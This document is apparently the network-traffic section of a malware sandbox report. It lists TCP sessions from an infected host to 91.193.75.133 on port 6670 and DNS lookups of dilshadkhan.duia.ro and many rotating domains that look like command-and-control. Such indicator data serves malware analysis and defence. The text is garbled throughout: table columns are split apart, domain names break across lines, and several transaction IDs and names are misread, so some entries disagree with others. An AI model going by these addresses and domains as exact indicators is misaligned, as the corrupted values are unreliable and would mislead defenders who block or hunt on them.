Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 19:03:32.513807058 CEST 49735 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:32.553812027 CEST 6670 49735 91.193.75.133 192.168.2.6
May 27, 2022 19:03:32.943492889 CEST 49734 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:32.983542919 CEST 6670 49734 91.193.75.133 192.168.2.6
May 27, 2022 19:03:33.209117889 CEST 49735 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:33.250591993 CEST 6670 49735 91.193.75.133 192.168.2.6
May 27, 2022 19:03:33.773323059 CEST 49736 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:33.813462019 CEST 6670 49736 91.193.75.133 192.168.2.6
May 27, 2022 19:03:34.412328959 CEST 49736 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:34.452403069 CEST 6670 49736 91.193.75.133 192.168.2.6
May 27, 2022 19:03:35.005100965 CEST 49736 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:35.045032024 CEST 6670 49736 91.193.75.133 192.168.2.6
May 27, 2022 19:03:41.878453970 CEST 49737 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:41.918499947 CEST 6670 49737 91.193.75.133 192.168.2.6
May 27, 2022 19:03:42.144418955 CEST 49738 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:42.184531927 CEST 6670 49738 91.193.75.133 192.168.2.6
May 27, 2022 19:03:42.256268024 CEST 49739 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:42.296372890 CEST 6670 49739 91.193.75.133 192.168.2.6
May 27, 2022 19:03:42.361182928 CEST 49740 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:42.401308060 CEST 6670 49740 91.193.75.133 192.168.2.6
May 27, 2022 19:03:42.475502968 CEST 49737 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:42.515470028 CEST 6670 49737 91.193.75.133 192.168.2.6
May 27, 2022 19:03:42.772551060 CEST 49738 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:42.812580109 CEST 6670 49738 91.193.75.133 192.168.2.6
May 27, 2022 19:03:42.910631895 CEST 49740 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:42.910649061 CEST 49739 6670 192.168.2.6 91.193.75.133
May 27, 2022 19:03:42.950640917 CEST 6670 49739 91.193.75.133 192.168.2.6
May 27, 2022 19:03:42.950680017 CEST 6670 49740 91.193.75.133 192.168.2.6
UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 19:02:52.206765890 CEST 59293 53 192.168.2.6 8.8.8.8

May 27, 2022 19:02:52.347728014 CEST 53 59293 8.8.8.8 192.168.2.6
May 27, 2022 19:03:06.427248001 CEST 58723 53 192.168.2.6 8.8.8.8

May 27, 2022 19:03:06.459141970 CEST 53 58723 8.8.8.8 192.168.2.6
May 27, 2022 19:03:14.681840897 CEST 51971 53 192.168.2.6 8.8.8.8

May 27, 2022 19:03:14.741357088 CEST 53 51971 8.8.8.8 192.168.2.6
May 27, 2022 19:03:25.296807051 CEST 56591 53 192.168.2.6 8.8.8.8

May 27, 2022 19:03:25.328784943 CEST 53 56591 8.8.8.8 192.168.2.6
May 27, 2022 19:04:29.699053049 CEST 51748 53 192.168.2.6 8.8.8.8

May 27, 2022 19:04:29.760032892 CEST 53 51748 8.8.8.8 192.168.2.6
May 27, 2022 19:04:52.043087006 CEST 61116 53 192.168.2.6 8.8.8.8

May 27, 2022 19:04:53.039657116 CEST 61116 53 192.168.2.6 8.8.8.8

May 27, 2022 19:04:54.039423943 CEST 61116 53 192.168.2.6 8.8.8.8

May 27, 2022 19:04:56.039683104 CEST 61116 53 192.168.2.6 8.8.8.8

May 27, 2022 19:04:57.063065052 CEST 53 61116 8.8.8.8 192.168.2.6
May 27, 2022 19:04:57.141570091 CEST 50958 53 192.168.2.6 8.8.8.8

May 27, 2022 19:04:58.058393002 CEST 53 61116 8.8.8.8 192.168.2.6
May 27, 2022 19:04:58.194101095 CEST 50958 53 192.168.2.6 8.8.8.8

May 27, 2022 19:04:59.058675051 CEST 53 61116 8.8.8.8 192.168.2.6
May 27, 2022 19:04:59.253500938 CEST 50958 53 192.168.2.6 8.8.8.8

May 27, 2022 19:05:01.060369015 CEST 53 61116 8.8.8.8 192.168.2.6
May 27, 2022 19:05:01.330933094 CEST 50958 53 192.168.2.6 8.8.8.8

May 27, 2022 19:05:02.160721064 CEST 53 50958 8.8.8.8 192.168.2.6
May 27, 2022 19:05:02.171984911 CEST 49695 53 192.168.2.6 8.8.8.8

May 27, 2022 19:05:03.165188074 CEST 49695 53 192.168.2.6 8.8.8.8

May 27, 2022 19:05:03.212563038 CEST 53 50958 8.8.8.8 192.168.2.6
May 27, 2022 19:05:04.189523935 CEST 49695 53 192.168.2.6 8.8.8.8
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May 27, 2022 19:05:04.272865057 CEST 53 50958 8.8.8.8 192.168.2.6
May 27, 2022 19:05:06.243489981 CEST 49695 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:06.350369930 CEST 53 50958 8.8.8.8 192.168.2.6
May 27, 2022 19:05:07.189064026 CEST 53 49695 8.8.8.8 192.168.2.6
May 27, 2022 19:05:08.181691885 CEST 53 49695 8.8.8.8 192.168.2.6
May 27, 2022 19:05:09.206960917 CEST 53 49695 8.8.8.8 192.168.2.6
May 27, 2022 19:05:11.261076927 CEST 53 49695 8.8.8.8 192.168.2.6
May 27, 2022 19:05:12.233583927 CEST 61607 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:12.271241903 CEST 53 61607 8.8.8.8 192.168.2.6
May 27, 2022 19:05:17.499589920 CEST 56550 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:17.672174931 CEST 53 56550 8.8.8.8 192.168.2.6
May 27, 2022 19:05:23.940431118 CEST 52858 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:23.963942051 CEST 53 52858 8.8.8.8 192.168.2.6
May 27, 2022 19:05:29.084645987 CEST 50029 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:29.110308886 CEST 53 50029 8.8.8.8 192.168.2.6
May 27, 2022 19:05:34.313951015 CEST 59871 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:34.337416887 CEST 53 59871 8.8.8.8 192.168.2.6
May 27, 2022 19:05:39.590828896 CEST 51194 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:39.758692026 CEST 53 51194 8.8.8.8 192.168.2.6
May 27, 2022 19:05:45.682627916 CEST 51666 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:45.718950987 CEST 53 51666 8.8.8.8 192.168.2.6
May 27, 2022 19:05:51.391232014 CEST 57037 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:51.414742947 CEST 53 57037 8.8.8.8 192.168.2.6
May 27, 2022 19:05:56.521378040 CEST 60609 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:56.542438030 CEST 53 60609 8.8.8.8 192.168.2.6
May 27, 2022 19:05:56.548511028 CEST 54529 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:56.573395014 CEST 53 54529 8.8.8.8 192.168.2.6
May 27, 2022 19:05:56.638914108 CEST 62643 53 192.168.2.6 8.8.8.8
May 27, 2022 19:05:56.664762020 CEST 53 62643 8.8.8.8 192.168.2.6
May 27, 2022 19:06:06.707300901 CEST 54015 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:06.738454103 CEST 53 54015 8.8.8.8 192.168.2.6
May 27, 2022 19:06:11.830141068 CEST 52089 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:12.842948914 CEST 52089 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:13.842927933 CEST 52089 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:15.895023108 CEST 52089 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:16.850101948 CEST 53 52089 8.8.8.8 192.168.2.6
May 27, 2022 19:06:17.182252884 CEST 54489 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:17.862747908 CEST 53 52089 8.8.8.8 192.168.2.6
May 27, 2022 19:06:18.086165905 CEST 53 52089 8.8.8.8 192.168.2.6
May 27, 2022 19:06:18.506791115 CEST 54489 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:19.515726089 CEST 54489 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:20.914686918 CEST 53 52089 8.8.8.8 192.168.2.6
May 27, 2022 19:06:21.515852928 CEST 54489 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:22.200727940 CEST 53 54489 8.8.8.8 192.168.2.6
May 27, 2022 19:06:22.235883951 CEST 52698 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:22.533971071 CEST 53 54489 8.8.8.8 192.168.2.6
May 27, 2022 19:06:23.250165939 CEST 52698 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:24.312680960 CEST 52698 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:24.534982920 CEST 53 54489 8.8.8.8 192.168.2.6
May 27, 2022 19:06:25.543174982 CEST 53 54489 8.8.8.8 192.168.2.6
May 27, 2022 19:06:26.270047903 CEST 53 52698 8.8.8.8 192.168.2.6
May 27, 2022 19:06:27.276969910 CEST 53 52698 8.8.8.8 192.168.2.6
May 27, 2022 19:06:29.331552982 CEST 53 52698 8.8.8.8 192.168.2.6
May 27, 2022 19:06:33.232362032 CEST 53829 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:33.254628897 CEST 53 53829 8.8.8.8 192.168.2.6
May 27, 2022 19:06:39.024264097 CEST 61901 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:39.180102110 CEST 53 61901 8.8.8.8 192.168.2.6
May 27, 2022 19:06:39.188688040 CEST 58689 53 192.168.2.6 8.8.8.8
May 27, 2022 19:06:39.207825899 CEST 53 58689 8.8.8.8 192.168.2.6
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May 27, 2022 19:06:39.211788893 CEST 50081 53 192.168.2.6 8.8.8.8

May 27, 2022 19:06:39.368392944 CEST 53 50081 8.8.8.8 192.168.2.6

May 27, 2022 19:06:57.035665989 CEST 49520 53 192.168.2.6 8.8.8.8

May 27, 2022 19:06:57.149143934 CEST 53 49520 8.8.8.8 192.168.2.6

May 27, 2022 19:07:02.708296061 CEST 65526 53 192.168.2.6 8.8.8.8

May 27, 2022 19:07:02.727777004 CEST 53 65526 8.8.8.8 192.168.2.6

May 27, 2022 19:07:08.145566940 CEST 53049 53 192.168.2.6 8.8.8.8

May 27, 2022 19:07:08.163078070 CEST 53 53049 8.8.8.8 192.168.2.6

May 27, 2022 19:07:13.865170002 CEST 52965 53 192.168.2.6 8.8.8.8

May 27, 2022 19:07:13.885564089 CEST 53 52965 8.8.8.8 192.168.2.6

May 27, 2022 19:07:19.584089041 CEST 52125 53 192.168.2.6 8.8.8.8

May 27, 2022 19:07:19.609574080 CEST 53 52125 8.8.8.8 192.168.2.6

May 27, 2022 19:07:24.709460020 CEST 63104 53 192.168.2.6 8.8.8.8

May 27, 2022 19:07:24.734282017 CEST 53 63104 8.8.8.8 192.168.2.6

May 27, 2022 19:07:30.788115025 CEST 58360 53 192.168.2.6 8.8.8.8

May 27, 2022 19:07:30.808767080 CEST 53 58360 8.8.8.8 192.168.2.6

May 27, 2022 19:07:47.259999037 CEST 60658 53 192.168.2.6 8.8.8.8

May 27, 2022 19:07:47.282017946 CEST 53 60658 8.8.8.8 192.168.2.6

May 27, 2022 19:07:47.283513069 CEST 60238 53 192.168.2.6 8.8.8.8

May 27, 2022 19:07:47.302505016 CEST 53 60238 8.8.8.8 192.168.2.6

May 27, 2022 19:07:47.304023981 CEST 53170 53 192.168.2.6 8.8.8.8

May 27, 2022 19:07:47.323148012 CEST 53 53170 8.8.8.8 192.168.2.6

ICMP Packets

Timestamp Source IP Dest IP Checksum Code Type

May 27, 2022 19:04:58.058593035 CEST 192.168.2.6 8.8.8.8 doo6 (Port Destination
unreachable) Unreachable

May 27, 2022 19:04:59.058835983 CEST 192.168.2.6 8.8.8.8 doo6 (Port Destination
unreachable) Unreachable

May 27, 2022 19:05:01.060595036 CEST 192.168.2.6 8.8.8.8 doo6 (Port Destination
unreachable) Unreachable

May 27, 2022 19:05:03.215251923 CEST 192.168.2.6 8.8.8.8 doo6 (Port Destination
unreachable) Unreachable

May 27, 2022 19:05:04.273102999 CEST 192.168.2.6 8.8.8.8 doo6 (Port Destination
unreachable) Unreachable

May 27, 2022 19:05:06.351552963 CEST 192.168.2.6 8.8.8.8 doo6 (Port Destination
unreachable) Unreachable

May 27, 2022 19:05:08.181823969 CEST 192.168.2.6 8.8.8.8 doo6 (Port Destination
unreachable) Unreachable

May 27, 2022 19:05:09.207190990 CEST 192.168.2.6 8.8.8.8 doo6 (Port Destination
unreachable) Unreachable

May 27, 2022 19:05:11.261214018 CEST 192.168.2.6 8.8.8.8 doo6 (Port Destination
unreachable) Unreachable

May 27, 2022 19:06:17.862957954 CEST 192.168.2.6 8.8.8.8 cffo (Port Destination
unreachable) Unreachable

May 27, 2022 19:06:20.916026115 CEST 192.168.2.6 8.8.8.8 cffo (Port Destination
unreachable) Unreachable

May 27, 2022 19:06:22.534094095 CEST 192.168.2.6 8.8.8.8 cff9 (Port Destination
unreachable) Unreachable

May 27, 2022 19:06:24.535262108 CEST 192.168.2.6 8.8.8.8 cff9 (Port Destination
unreachable) Unreachable

May 27, 2022 19:06:25.543378115 CEST 192.168.2.6 8.8.8.8 cff9 (Port Destination
unreachable) Unreachable

May 27, 2022 19:06:27.277057886 CEST 192.168.2.6 8.8.8.8 cff9 (Port Destination
unreachable) Unreachable

May 27, 2022 19:06:29.334707022 CEST 192.168.2.6 8.8.8.8 cff9 (Port Destination
unreachable) Unreachable

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 27, 2022 19:02:52.206765890 CEST 192.168.2.6 8.8.8.8 Ox3efe Standard query  dilshadkha A (IP address) IN (0x0001)

(0) n.duia.ro
May 27, 2022 19:03:06.427248001 CEST 192.168.2.6 8.8.8.8 0x5964 Standard query  dilshadkha A (IP address) IN (0x0001)
(0) n.duia.ro
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 27, 2022 19:03:14.681840897 CEST 192.168.2.6 8.8.8.8 0x761la Standard query  dilshadkha A (IP address) IN (0x0001)
(0) n.duia.ro

May 27, 2022 19:03:25.296807051 CEST 192.168.2.6 8.8.8.8 0x16a8 Standard query  dilshadkha A (IP address) IN (0x0001)
(0) n.duia.ro

May 27, 2022 19:04:29.699053049 CEST 192.168.2.6 8.8.8.8 0x32e8 Standard query  www.toping A (IP address) IN (0x0001)
(0) s33.com

May 27, 2022 19:04:52.043087006 CEST 192.168.2.6 8.8.8.8 0x6d57 Standard query  www.thepow A (IP address) IN (0x0001)
(0) erofanopen

question.com

May 27, 2022 19:04:53.039657116 CEST 192.168.2.6 8.8.8.8 0x6d57 Standard query  www.thepow A (IP address) IN (0x0001)
(0) erofanopen
question.com

May 27, 2022 19:04:54.039423943 CEST 192.168.2.6 8.8.8.8 0x6d57 Standard query  www.thepow A (IP address) IN (0x0001)
(0) erofanopen
question.com

May 27, 2022 19:04:56.039683104 CEST 192.168.2.6 8.8.8.8 0x6d57 Standard query  www.thepow A (IP address) IN (0x0001)
(0) erofanopen
question.com

May 27, 2022 19:04:57.141570091 CEST 192.168.2.6 8.8.8.8 0xe487 Standard query  www.thepow A (IP address) IN (0x0001)
(0) erofanopen
question.com

May 27, 2022 19:04:58.194101095 CEST 192.168.2.6 8.8.8.8 0xe487 Standard query  www.thepow A (IP address) IN (0x0001)
(0) erofanopen
question.com

May 27, 2022 19:04:59.253500938 CEST 192.168.2.6 8.8.8.8 0xe487 Standard query  www.thepow A (IP address) IN (0x0001)
(0) erofanopen
question.com

May 27, 2022 19:05:01.330933094 CEST 192.168.2.6 8.8.8.8 0xe487 Standard query  www.thepow A (IP address) IN (0x0001)
0) erofanopen
question.com

May 27, 2022 19:05:02.171984911 CEST 192.168.2.6 8.8.8.8 0xb590 Standard query  www.thepow A (IP address) IN (0x0001)
0) erofanopen
question.com

May 27, 2022 19:05:03.165188074 CEST 192.168.2.6 8.8.8.8 0xb590 Standard query  www.thepow A (IP address) IN (0x0001)
0) erofanopen
question.com

May 27, 2022 19:05:04.189523935 CEST 192.168.2.6 8.8.8.8 0xb590 Standard query  www.thepow A (IP address) IN (0x0001)
0) erofanopen
question.com

May 27, 2022 19:05:06.243489981 CEST 192.168.2.6 8.8.8.8 0xb590 Standard query  www.thepow A (IP address) IN (0x0001)
(0) erofanopen
question.com

May 27, 2022 19:05:12.233583927 CEST 192.168.2.6 8.8.8.8 0x716b Standard query  www.siberup.xyz A (IP address) IN (0x0001)
()

May 27, 2022 19:05:17.499589920 CEST 192.168.2.6 8.8.8.8 0xba00 Standard query  www.harmle A (IP address) IN (0x0001)
0) tt.com

May 27, 2022 19:05:23.940431118 CEST 192.168.2.6 8.8.8.8 0x89f Standard query  www.brandp A (IP address) IN (0x0001)
0) ay.xyz

May 27, 2022 19:05:29.084645987 CEST 192.168.2.6 8.8.8.8 oxf77f Standard query  www.tentan A (IP address) IN (0x0001)
0) guang.online

May 27, 2022 19:05:34.313951015 CEST 192.168.2.6 8.8.8.8 Oxb71a Standard query  www.localb A (IP address) IN (0x0001)
0) loom.online

May 27, 2022 19:05:39.590828896 CEST 192.168.2.6 8.8.8.8 Ox8fch Standard query  www.shcylz A (IP address) IN (0x0001)
0) c.com

May 27, 2022 19:05:45.682627916 CEST 192.168.2.6 8.8.8.8 0x7a84 Standard query  www.getbus A (IP address) IN (0x0001)
(0) inesscredi

tandfunding.com

May 27, 2022 19:05:51.391232014 CEST 192.168.2.6 8.8.8.8 Oxc7ff Standard query  www.xn--wsthof- A (IP address) IN (0x0001)

(0) camping-
gsb.com

May 27, 2022 19:05:56.521378040 CEST 192.168.2.6 8.8.8.8 0x76f9 Standard query  www.jdhwh2 A (IP address) IN (0x0001)
(0) nbiw234.com

May 27, 2022 19:05:56.548511028 CEST 192.168.2.6 8.8.8.8 0xfc00 Standard query  www.jdhwh2 A (IP address) IN (0x0001)
0) nbiw234.com

May 27, 2022 19:05:56.638914108 CEST 192.168.2.6 8.8.8.8 0x8a85 Standard query  www.jdhwh2 A (IP address) IN (0x0001)
0) nbiw234.com

May 27, 2022 19:06:06.707300901 CEST 192.168.2.6 8.8.8.8 0x994 Standard query  www.waerma A (IP address) IN (0x0001)
(0) rk.com

May 27, 2022 19:06:11.830141068 CEST 192.168.2.6 8.8.8.8 0xa769 Standard query  www.gafcbo A (IP address) IN (0x0001)
(0) oster.com

May 27, 2022 19:06:12.842948914 CEST 192.168.2.6 8.8.8.8 0xa769 Standard query  www.gafcho A (IP address) IN (0x0001)
(0) oster.com

May 27, 2022 19:06:13.842927933 CEST 192.168.2.6 8.8.8.8 0xa769 Standard query  www.gafcbo A (IP address) IN (0x0001)
(0) oster.com
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May 27, 2022 19:06:15.895023108 CEST 192.168.2.6 8.8.8.8 0xa769 Standard query  www.gafcho A (IP address) IN (0x0001)
(0) oster.com

May 27, 2022 19:06:17.182252884 CEST 192.168.2.6 8.8.8.8 Ox4b4a Standard query  www.gafcho A (IP address) IN (0x0001)
(0) oster.com

May 27, 2022 19:06:18.506791115 CEST 192.168.2.6 8.8.8.8 Ox4b4a Standard query  www.gafcho A (IP address) IN (0x0001)
(0) oster.com

May 27, 2022 19:06:19.515726089 CEST 192.168.2.6 8.8.8.8 Ox4b4a Standard query  www.gafcho A (IP address) IN (0x0001)
(0) oster.com

May 27, 2022 19:06:21.515852928 CEST 192.168.2.6 8.8.8.8 Ox4b4a Standard query  www.gafcho A (IP address) IN (0x0001)
(0) oster.com

May 27, 2022 19:06:22.235883951 CEST 192.168.2.6 8.8.8.8 0x7876 Standard query  www.gafcho A (IP address) IN (0x0001)
(0) oster.com

May 27, 2022 19:06:23.250165939 CEST 192.168.2.6 8.8.8.8 0x7876 Standard query  www.gafcho A (IP address) IN (0x0001)
(0) oster.com

May 27, 2022 19:06:24.312680960 CEST 192.168.2.6 8.8.8.8 0x7876 Standard query  www.gafcho A (IP address) IN (0x0001)
(0) oster.com

May 27, 2022 19:06:33.232362032 CEST 192.168.2.6 8.8.8.8 OxcOa Standard query  www.vitality- A (IP address) IN (0x0001)
(0) patients.online

May 27, 2022 19:06:39.024264097 CEST 192.168.2.6 8.8.8.8 Oxce36 Standard query  www.angelm A (IP address) IN (0x0001)
(0) atic.net

May 27, 2022 19:06:39.188688040 CEST 192.168.2.6 8.8.8.8 Oxe314 Standard query  www.angelm A (IP address) IN (0x0001)
(0) atic.net

May 27, 2022 19:06:39.211788893 CEST 192.168.2.6 8.8.8.8 0x6c1b Standard query  www.angelm A (IP address) IN (0x0001)
(0) atic.net

May 27, 2022 19:06:57.035665989 CEST 192.168.2.6 8.8.8.8 0x8bca Standard query  www.gabefa A (IP address) IN (0x0001)
0) ncher.com

May 27, 2022 19:07:02.708296061 CEST 192.168.2.6 8.8.8.8 0x6ce5 Standard query  www.multiv A (IP address) IN (0x0001)
(0) erseofbooks.com

May 27, 2022 19:07:08.145566940 CEST 192.168.2.6 8.8.8.8 0xd465 Standard query  www.haleca A (IP address) IN (0x0001)
(0) milla.site

May 27, 2022 19:07:13.865170002 CEST 192.168.2.6 8.8.8.8 0x21b5 Standard query  www.harmle A (IP address) IN (0x0001)
(0) tt.com

May 27, 2022 19:07:19.584089041 CEST 192.168.2.6 8.8.8.8 Oxa2al Standard query  www.waerma A (IP address) IN (0x0001)
(0) rk.com

May 27, 2022 19:07:24.709460020 CEST 192.168.2.6 8.8.8.8 0x9aff Standard query  www.refres A (IP address) IN (0x0001)
0) hertowels.com

May 27, 2022 19:07:30.788115025 CEST 192.168.2.6 8.8.8.8 Oxa4f4 Standard query  www.getbus A (IP address) IN (0x0001)
(0) inesscredi

tandfunding.com

May 27, 2022 19:07:47.259999037 CEST 192.168.2.6 8.8.8.8 0xb2e9 Standard query  www.jdhwh2 A (IP address) IN (0x0001)
(0) nbiw234.com
May 27, 2022 19:07:47.283513069 CEST 192.168.2.6 8.8.8.8 0x58ad Standard query  www.jdhwh2 A (IP address) IN (0x0001)
(0) nbiw234.com
May 27, 2022 19:07:47.304023981 CEST 192.168.2.6 8.8.8.8 0x76d0 Standard query  www.jdhwh2 A (IP address) IN (0x0001)
0) nbiw234.com
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
May 27, 2022 8.8.8.8 192.168.2.6 Ox3efe No error (0) dilshadkha 91.193.75.133 A (IP address) IN
19:02:52.347728014 CEST n.duia.ro (0x0001)
May 27, 2022 8.8.8.8 192.168.2.6 0x5964 No error (0) dilshadkha 91.193.75.133 A (IP address) IN
19:03:06.459141970 CEST n.duia.ro (0x0001)
May 27, 2022 8.8.8.8 192.168.2.6 Ox76la No error (0) dilshadkha 91.193.75.133 A (IP address) IN
19:03:14.741357088 CEST n.duia.ro (0x0001)
May 27, 2022 8.8.8.8 192.168.2.6 0x16a8 No error (0) dilshadkha 91.193.75.133 A (IP address) IN
19:03:25.328784943 CEST n.duia.ro (0x0001)
May 27, 2022 8.8.8.8 192.168.2.6 0x32e8 No error (0) www.toping 162.0.230.89 A (IP address) IN
19:04:29.760032892 CEST s33.com (0x0001)
May 27, 2022 8.8.8.8 192.168.2.6 0x6d57 Server failure (2) www.thepow none none A (IP address) IN
19:04:57.063065052 CEST erofanopen (0x0001)
question.com
May 27, 2022 8.8.8.8 192.168.2.6 0x6d57 Server failure (2) www.thepow none none A (IP address) IN
19:04:58.058393002 CEST erofanopen (0x0001)
question.com
May 27, 2022 8.8.8.8 192.168.2.6 0x6d57 Server failure (2) www.thepow none none A (IP address) IN
19:04:59.058675051 CEST erofanopen (0x0001)
question.com
May 27, 2022 8.8.8.8 192.168.2.6 0x6d57 Server failure (2) www.thepow none none A (IP address) IN
19:05:01.060369015 CEST erofanopen (0x0001)

question.com
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Timestamp

May 27, 2022
19:05:02.160721064 CEST

May 27, 2022
19:05:03.212563038 CEST

May 27, 2022
19:05:04.272865057 CEST

May 27, 2022
19:05:06.350369930 CEST

May 27, 2022
19:05:07.189064026 CEST

May 27, 2022
19:05:08.181691885 CEST

May 27, 2022
19:05:09.206960917 CEST

May 27, 2022
19:05:11.261076927 CEST

May 27, 2022
19:05:12.271241903 CEST

May 27, 2022
19:05:12.271241903 CEST

May 27, 2022
19:05:12.271241903 CEST

May 27, 2022
19:05:17.672174931 CEST

May 27, 2022
19:05:23.963942051 CEST

May 27, 2022
19:05:29.110308886 CEST

May 27, 2022
19:05:34.337416887 CEST

May 27, 2022
19:05:39.758692026 CEST

May 27, 2022
19:05:45.718950987 CEST

May 27, 2022
19:05:51.414742947 CEST

May 27, 2022
19:05:51.414742947 CEST

May 27, 2022
19:05:56.542438030 CEST

May 27, 2022
19:05:56.573395014 CEST

May 27, 2022
19:05:56.664762020 CEST

May 27, 2022
19:06:06.738454103 CEST

May 27, 2022
19:06:16.850101948 CEST

May 27, 2022
19:06:17.862747908 CEST

May 27, 2022
19:06:18.086165905 CEST

May 27, 2022
19:06:20.914686918 CEST

May 27, 2022
19:06:22.200727940 CEST

May 27, 2022
19:06:22.533971071 CEST

May 27, 2022
19:06:24.534982920 CEST

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8
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Dest IP

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

Trans ID

Oxe487

Oxe487

0xe487

Oxe487

0xb590

0xb590

0xb590

0xb590

0x716b

0x716b

0x716b

0xba00

0x89f

Ooxf77f

Oxb71a

0x8fch

O0x7a84

Oxc7ff

Oxc7ff

0x76f9

0xfc00

0x8a85

0x994

0xa769

0xa769

0xa769

0xa769

Ox4bda

Ox4bda

Ox4bda

Reply Code

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

Name error (3)

No error (0)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Server failure (2)

Name

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.thepow
erofanopen
question.com

www.siberup.xyz

redirect.n
atrocdn.com

natroredir
ect.natroc
dn.com

www.harmle
tt.com

www.brandp
ay.xyz

www.tentan
guang.online

www.localb
loom.online

www.shcylz
c.com

www.getbus
inesscredi
tandfunding.com

www.xn--wsthof-
camping-
gsb.com
xn--wsthof-
camping-g
sh.com

www.jdhwh2
nbiw234.com

www.jdhwh2
nbiw234.com

www.jdhwh2
nbiw234.com

www.waerma
rk.com

www.gafcbo
oster.com

www.gafcbo
oster.com

www.gafcbo
oster.com

www.gafchbo
oster.com

www.gafcho
oster.com

www.gafcbo
oster.com

www.gafcbo
oster.com

CName

none

none

none

none

none

none

none

none

redirect.natrocdn.c
om

natroredirect.natro
cdn.com

xn--wsthof-
camping-gsbh.com

none

none

none

none

none

none

none

none

none

none

Address

none

none

none

none

none

none

none

none

85.159.66.93

23.19.171.24

3.64.163.50

185.27.134.149

185.134.245.113

23.82.37.10

68.66.224.33

81.169.145.161

none

none

none

185.53.179.172

none

none

none

none

none

none

none

Type

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)
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Timestamp

May 27, 2022
19:06:25.543174982 CEST

May 27, 2022
19:06:26.270047903 CEST

May 27, 2022
19:06:27.276969910 CEST

May 27, 2022
19:06:29.331552982 CEST

May 27, 2022
19:06:33.254628897 CEST

May 27, 2022
19:06:33.254628897 CEST

May 27, 2022
19:06:33.254628897 CEST

May 27, 2022
19:06:33.254628897 CEST

May 27, 2022
